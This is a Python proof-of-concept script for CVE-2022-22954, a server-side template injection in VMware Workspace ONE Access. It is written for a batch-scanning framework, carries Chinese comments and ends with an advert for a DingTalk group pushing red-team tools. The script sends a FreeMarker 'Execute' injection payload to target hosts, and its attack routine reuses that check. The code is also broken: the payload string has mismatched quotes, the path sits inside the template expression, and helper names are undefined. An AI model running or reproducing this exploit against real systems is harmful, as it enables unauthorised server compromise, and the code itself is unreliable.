CVE-2022-22954

# coding:utf-8
import requests
from lib.core.common import url_handle, get_random_ua
from lib.core.poc import POCBase
# ...
import urllib3

urllib3.disable_warnings()


class POC(POCBase):
    _info = {
        "author": "OFX",  # OFX 批量POC python3环境 ofx地址github搜素或钉钉群下载
        "version": "1",  # POC版本，默认是1
        "CreateDate": "2022",  # POC创建时间
        "UpdateDate": "2022",  # POC创建时间
        "PocDesc": """
            Workspace ONE访问 服务器端模板注入
        """,  # POC描述，写更新描述，没有就不写

        "name": "CVE-2022-22954",  # 漏洞名称
        "VulnID": "oFx-2022",  # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
        "AppName": "",  # 漏洞应用名称
        "AppVersion": "VM Workspace ONE",  # 漏洞应用版本
        "VulnDate": "2022",  # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
        "VulnDesc": """
            Workspace ONE访问 服务器端模板注入
        """,  # 漏洞简要描述

        "fofa-dork": """
            "*"
        """,  # fofa搜索语句
        "example": "",  # 存在漏洞的演示url，写一个就可以了
        "exp_img": "",
    }

    def _verify(self):
        """
        返回vuln

        存在漏洞：vuln = [True,html_source] # html_source就是页面源码

        不存在漏洞：vuln = [False,""]
        """
        vuln = [False, ""]
        url = self.target  # url自己按需调整
        payload = "freemarker.template.utility.Execute"?new()("/catalog-portal/ui/oauth/verify?error=&deviceUdid=/")"

        try:
            """
            检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
            """
            url = url + url_encode_all(payload)
            req = requests.get(url, headers=headers, proxies=self.proxy, timeout=self.timeout, verify=False,
                               allow_redirects=False)
            if ", device type:" in req.text:
                vuln = [True, req.text]
            else:
                vuln = [False, req.text]
        except Exception as e:
            raise e

        # 以下逻辑酌情使用
        if self._honeypot_check(vuln[1]) == True:
            vuln[0] = False

        return vuln

    def _attack(self):
        return self._verify()

钉钉CVE漏洞及红队工具自动推送群：31797046https://qr.dingtalk.com/action/joingroup?code=v1,k1,pvNvPYemLn/GMB6zR6MOqYRz+Fek+eWMYkXCD3cR6Ag=&_dt_no_comment=1&origin=11